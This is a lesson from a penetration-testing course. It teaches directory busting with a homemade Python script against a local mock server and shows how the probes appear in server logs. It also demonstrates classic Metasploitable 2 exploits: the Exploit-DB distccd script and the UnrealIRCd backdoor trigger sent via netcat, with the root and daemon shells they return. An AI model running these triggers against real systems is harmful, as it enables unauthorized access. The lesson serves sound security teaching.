Step 121. Manual Exploitation 2: Expanding Your Repertoire — Every Service Opens a Different Door

Step 121. Manual Exploitation 2: Expanding Your Repertoire — Every Service Opens a Different Door

Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★★☆ | Estimated time: 4 hours

Prerequisites: You’ve completed Step 120. You can trigger a vulnerability manually without a framework, and you know the three-step breakdown "input → server internals → result."

  • What you need: Kali and MS2 (or a single Kali machine + Python 3), two terminals
  • Caution: ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.

In Step 120 you reproduced one attack with your bare hands. Today we expand the repertoire. MS2 — a museum of vulnerabilities — has a "classic" for every service: unauthenticated command execution in distcc, a backdoor in UnrealIRCd, username injection in Samba. These classics create quick first wins, in CTFs and in the field alike. And we’ll measure one technique of a different stripe from service attacks — hidden-path discovery on the web — by building our own server. At the end, we’ll settle "why is one shell root and another daemon?" with a privilege comparison table.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Prove the principle of hidden-path discovery (directory busting) with a server you build yourself
  • Read how probing activity is recorded in server logs
  • State the classic vulnerability types of distcc, UnrealIRCd, and Samba in the three-step breakdown
  • Organize, in a comparison table, how the privilege of a shell you obtain is determined by the service’s running account
  • Explain the real-world sequence of "secure a foothold, then escalate privileges"

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment Kali shell + Python 3 (urllib, http.server — no installation needed)
Today’s commands python3 -m http.server, searchsploit, nc, a probing script you build yourself
Concepts needed Directory busting, HTTP status codes (200/301/404), classic per-service vulnerabilities
Today’s artifact An attack record table (service | vulnerability | code used | privilege gained)

2-1. Directory Busting — An Attack That Guesses the Address Bar

Web servers often have paths with no links pointing to them — things like /admin, /backup, /test. Having no link means "hard to find," not "doesn’t exist" — guess an address and request it, and the server politely answers. 200 if it exists, 404 if it doesn’t. Finding hidden paths by this difference in answers is directory busting. Dedicated tools like gobuster and dirb exist, but the principle is "append words from a dictionary one by one and look at the status code" — which is exactly what we’ll build today.

2-2. Reading Status Codes — 200, 301, 404

The judgment criterion for probing is the status code. 200 means "exists," 404 means "doesn’t." 301 means "the address has moved" — a web server answers a request for /admin with a 301 pointing to /admin/ — so a 301 is effectively an "exists" signal too. Python’s urllib automatically follows these redirects, so our script sees the code of the final destination (measured in 3-2).

2-3. Per-Service Classics — The Vulnerability Museum’s Collection

Let’s organize three of MS2’s famous services. Do the detailed practice in your own lab (outputs are marked as screen examples), and lay the principles on top of Step 120’s three-step breakdown.

  • distccd (port 3632): a distributed compile daemon. It doesn’t validate compile requests, so a shell command planted inside a request gets executed — Step 120’s mock server is exactly this principle. The privilege you get is usually daemon.
  • UnrealIRCd (port 6667): an IRC server. The leaked version 3.2.8.1 had a backdoor planted in it — send a message starting with a specific string and a command executes. Same "trigger" structure as the vsftpd backdoor.
  • Samba "username map script" (ports 139/445): a username-mapping setting tangled with command execution, enabling an attack that plants a shell command in the username. A variant of command injection where data becomes a command.

2-4. The Asymmetry of Privilege — Why Is One Shell root and Another daemon?

Each service runs as some account. The vsftpd backdoor opened a shell with root privilege, but a shell gained through distcc is usually a restricted account (daemon). It isn’t the kind of vulnerability but the account the service runs as that determines the privilege. That’s why the real-world sequence is "secure a foothold first → escalate privileges later." A daemon shell isn’t a failure — it’s the first step.


3. Follow Along

3-1. Building the Mock Target — A Web Server with Hidden Paths

First, let’s make the web server that will "get attacked." On the surface it’s an ordinary homepage, but unlinked paths are hiding inside.

Input

mkdir -p /tmp/websrv2/admin /tmp/websrv2/backup
cd /tmp/websrv2
echo "<h1>Company homepage (lab)</h1>" > index.html
echo "Admin page — under development" > admin/index.html
echo "DB backup password: summer2024!" > backup/notes.txt
echo "flag{directory_busting_success}" > secret.txt
python3 -m http.server 8081 --bind 127.0.0.1 > /tmp/websrv2.log 2>&1 &

How to read it: the homepage (index.html) has no links to /admin, /backup, or secret.txt. But the files exist. We’ll soon confirm how weak a defense "hiding (security by obscurity)" is. Logs go to /tmp/websrv2.log — in 3-3 we’ll examine the scene of the crime.

3-2. The Probing Script — Trying the Dictionary One Word at a Time

Input (dirbust.py)

import urllib.request, urllib.error, time

HOST = "http://127.0.0.1:8081"
WORDS = ["admin", "login", "backup", "test", "secret.txt",
         "config", "uploads", "robots.txt", "index.html"]

found = []
start = time.time()
for w in WORDS:
    url = f"{HOST}/{w}"
    try:
        code = urllib.request.urlopen(url, timeout=2).status
    except urllib.error.HTTPError as e:
        code = e.code
    if code == 200:
        found.append((w, code))
        print(f"[200] {url}")
print(f"tried {len(WORDS)}, found {len(found)}, {time.time()-start:.2f}s")

Output (measured 2026-09-09):

[200] http://127.0.0.1:8081/admin
[200] http://127.0.0.1:8081/backup
[200] http://127.0.0.1:8081/secret.txt
[200] http://127.0.0.1:8081/index.html
tried 9, found 4, 0.03s

How to read it: four of the nine words were alive. login, test, config, uploads, and robots.txt were filtered out as 404, while the hidden /admin, /backup, and secret.txt were all exposed. Fetch the contents of secret.txt (curl http://127.0.0.1:8081/secret.txt, or read the body with urllib) and you’ll see flag{directory_busting_success}. There were simply no links — there was no defense.

Why: the core parts are two — a list of words to guess (the dictionary) and reading the status code. Professional tools like gobuster are this skeleton plus tens of thousands of dictionary words and parallelism. The quality of the dictionary determines the quality of the discovery.

3-3. The Scene of the Crime — What Remains in the Server Log

Now switch perspectives and become the defender. Open the web server’s log.

Input

head -15 /tmp/websrv2.log

Output (measured 2026-09-09):

127.0.0.1 - - [09/Sep/2026 15:12:04] "GET /admin HTTP/1.1" 301 -
127.0.0.1 - - [09/Sep/2026 15:12:04] "GET /admin/ HTTP/1.1" 200 -
127.0.0.1 - - [09/Sep/2026 15:12:04] code 404, message File not found
127.0.0.1 - - [09/Sep/2026 15:12:04] "GET /login HTTP/1.1" 404 -
127.0.0.1 - - [09/Sep/2026 15:12:04] "GET /backup HTTP/1.1" 301 -
127.0.0.1 - - [09/Sep/2026 15:12:04] "GET /backup/ HTTP/1.1" 200 -
127.0.0.1 - - [09/Sep/2026 15:12:04] code 404, message File not found
127.0.0.1 - - [09/Sep/2026 15:12:04] "GET /test HTTP/1.1" 404 -
127.0.0.1 - - [09/Sep/2026 15:12:04] "GET /secret.txt HTTP/1.1" 200 -

How to read it: every attempt was recorded with its time, path, and result. You can also see the trace of /admin getting a 301 first and our script following to /admin/ (the 200 on the line after the 301). Through a defender’s eyes, "a run of consecutive 404s from one address" is the textbook footprint of directory busting. Even when an attack succeeds, everything remains in the log — this fact is a law that follows you throughout this Level.

Why: this is why a chapter about building attack tools bothers to read logs. Knowing how your attack looks on the other side’s screen is not a way to evade detection — it’s the way to understand detection rules.

3-4. Expanding the Repertoire — MS2’s Three Classics (lab practice, screen examples)

Work in your own Kali↔MS2 lab. The outputs below are screen examples.

distccd (port 3632): find the Python exploit with searchsploit distccd and run it.

searchsploit distccd
python3 /usr/share/exploitdb/exploits/multiple/remote/9915.py MS2_IP
whoami
daemon

UnrealIRCd (port 6667): connect and send the backdoor trigger string (see searchsploit unreal ircd).

nc MS2_IP 6667
AB;id
uid=0(root) gid=0(root)

Samba username map script (ports 139/445): an attack that plants a shell command in the username field. After confirming the concept, cross-check your verification with the Metasploit module — an exercise in confirming that manual and automatic give the same result.

How to read it: the three have different textures. distcc is "command execution inside request data," UnrealIRCd is a "trigger string," and Samba is "input-field injection." But write them out in the three-step breakdown and all three sit on the same skeleton: "unvalidated input → executed on the server → result returned."

3-5. The Attack Record Table — Comparing Privileges

From today on, leave a table every time you attack. It’s the prototype of a penetration test report.

Input (write in your notes — example)

Service      | Vulnerability            | Code/technique used  | Privilege gained
vsftpd 2.3.4 | Backdoor trigger (:))    | nc manual (Step 120) | root
distccd      | Unauthenticated cmd exec | Exploit-DB 9915      | daemon
UnrealIRCd   | Backdoor trigger (AB;)   | nc manual            | root
Web server   | Hidden paths             | dirbust.py (homemade)| (file read)

How to read it: same lab, yet the privileges split into root and daemon. The reason isn’t the kind of vulnerability but the service’s running account (2-4). An attack that ends at daemon isn’t a "failure" — it’s the starting point of privilege escalation.

Why: the habit of writing tables becomes a map that decides "what to do next." If it’s a daemon shell, your next move is privilege-escalation recon; if it’s a file read, the information inside (passwords, configuration) is your next clue.


4. Missions & Exercises

Mission — 3 Repertoire Pieces + a Privilege Comparison Table

  1. Build the mock web server from 3-1 and the probing script from 3-2, and capture the flag in secret.txt
  2. Add five words to the probing wordlist (e.g., phpmyadmin, .git, old, dev, api), run it again, and record the results
  3. Compromise at least one of distccd or UnrealIRCd on MS2 and record the whoami result
  4. Complete an attack record table in the 3-5 format — at least three services, including privileges gained
  5. Find the footprints of your probing in the server log (/tmp/websrv2.log) and copy them into your notes

Exercises

Exercise 1. State what 200, 301, and 404 each mean in directory busting, and why a 301 is effectively an "exists" signal.

Exercise 2. In the same vulnerable lab, why does the vsftpd attack give root while the distcc attack gives daemon?

Exercise 3. Refute the claim "hidden paths are safe because they have no links" using today’s practice.

Exercise 4. What clue lets a defender notice directory busting in a web server log?


5. Model Answers & Completion Criteria

Mission Model Answer

Example of an attack record table (privileges may vary with your lab setup):

Service           | Vulnerability            | Code/technique used    | Privilege gained
Web server (mock) | Hidden path exposure     | dirbust.py             | file read (flag captured)
distccd           | Unauthenticated cmd exec | code from searchsploit | daemon
UnrealIRCd        | Backdoor trigger         | trigger sent via nc    | root

For the wordlist expansion experiment, it’s good to confirm that development-artifact paths like .git are frequently compromised paths on real services — accidents where an entire source repository folder is exposed to the web really are common.

How to verify: ① did you actually read the flag flag{directory_busting_success}? ② is there a record of re-running with the added words? ③ is the privilege column filled in the table? ④ did you copy the log footprints into your notes?

Exercise Answers

Answer 1. 200 means "the path exists," 404 means "it doesn’t," and 301 is "a redirect notice." The server answers a request for /admin with a 301 to /admin/ because that directory actually exists — a nonexistent path gets a 404, not a 301. So a 301 is also treated as a discovery signal (see the measured log in 3-3).

Answer 2. Because it’s not the vulnerability but the account the service runs as that determines the privilege. The vsftpd backdoor opens a door with root privilege, while distccd runs as the daemon account, so a shell for that account comes out. That’s why the real-world sequence is "foothold first → privilege escalation."

Answer 3. The absence of links is merely "hard to find," not access control. In today’s practice, just nine guesses exposed all three hidden paths, and it took 0.03 seconds. Defense that relies on hiding (security by obscurity) reduces to a problem of dictionary size and time.

Answer 4. A burst of consecutive 404 requests from the same source address in a short time, plus a pattern of dictionary-like paths (admin, backup, test…). A normal user doesn’t knock on nonexistent paths several times per second.

Completion Criteria Checklist

  • [ ] I built the mock web server and probing script myself and captured the flag
  • [ ] I can explain status codes 200/301/404 as judgment criteria
  • [ ] I confirmed with my own eyes the traces probing leaves in the server log
  • [ ] I compromised at least one MS2 service manually or semi-manually
  • [ ] I organized in a comparison table that privilege is determined by the service’s running account
  • [ ] I can state the real-world sequence of "secure a foothold → escalate privileges"

6. Common Pitfalls & Fixes

Wall 1. I got a shell but it’s not root

Symptom: after compromising distcc, whoami says daemon.
Cause: it’s not a failure. The service runs as daemon, so the shell is daemon too — most real-world penetrations start this way.
Fix: "secure a foothold first, escalate privileges later" is the standard play. The recon you can do from a daemon shell (reading config files, investigating local vulnerabilities) is the material for the next lesson.

Wall 2. My probing script returns nothing but 404s

Symptom: paths you definitely created aren’t discovered.
Cause: the server may be down, the port may be different, or you may have run http.server from a different folder. This server takes the folder you launched it from as its root.
Fix: first check that http://127.0.0.1:8081/ opens in a browser or with curl, and verify you started the server after cd /tmp/websrv2.

Wall 3. A 301 came back but I didn’t count it as a discovery

Symptom: the script misses a directory that exists.
Cause: urllib follows 301s automatically, but if you implement it with raw sockets, you see the 301 as-is.
Fix: widen the judgment condition from code == 200 to code in (200, 301, 302, 403). A 403 (forbidden) is also a "the path exists" signal.

Wall 4. I sent the UnrealIRCd trigger but there’s no response

Symptom: you connected to port 6667 and sent the trigger, but it’s quiet.
Cause: the front part of the trigger string (the backdoor prefix) may not be exact, or the version may not have the backdoor.
Fix: open the code with searchsploit unreal ircd and copy the trigger format exactly. The habit of reading the firing string from public code is a continuation of Step 120.

Wall 5. Probing is slow or the server can’t keep up

Symptom: you grew the wordlist to thousands of words and it takes forever or errors out.
Cause: sequential requests accumulate waiting time for responses (same principle as Step 79’s scanner).
Fix: in the lab, learn the principle with a small dictionary. Real-world tools (gobuster, etc.) handle parallelization and timeout management for you — now that you know the principle, you can read what those tools do.


7. Summary

Today’s Concepts

Concept One-line explanation
Directory busting A technique that requests dictionary paths one by one and finds hidden paths by status code
200 / 301 / 404 Exists / redirect notice (effectively exists) / doesn’t exist — the judgment criteria for probing
Classic per-service vulnerabilities distcc (command execution), UnrealIRCd (trigger), Samba (username injection)
Service running account The factor that determines the privilege of the shell you obtain
Foothold Even a restricted shell like daemon is the starting point of privilege escalation
Attack record table The prototype of a report recording service, vulnerability, technique, and privilege

Today’s Commands

Command What it does
python3 -m http.server 8081 --bind 127.0.0.1 Start a mock web server
python3 dirbust.py Discover hidden paths
searchsploit keyword Find public exploits per service
curl http://target:port/path Check the contents of a discovered path
whoami (in the shell you got) Confirm the privilege gained
head /tmp/websrv2.log Check the log footprints of the attack

An Instinct More Important Than Commands

A repertoire is built not by memorization but by patterns. The attacks you saw today look different on the surface but share one skeleton — "unvalidated input becomes behavior on the server." The habit of asking "what input does this service take, and how does it process it?" whenever you meet a new service grows your repertoire by itself.

And as you confirmed in today’s log, probing and attacks leave vivid traces in the other side’s records. As your skills grow, think together about "how does my action look on the other side’s screen" — that is the boundary line between lab hobby and professional ethics. Every technique today is completed only in labs you own and on legal platforms.


Once every box is checked, Step 121 is complete.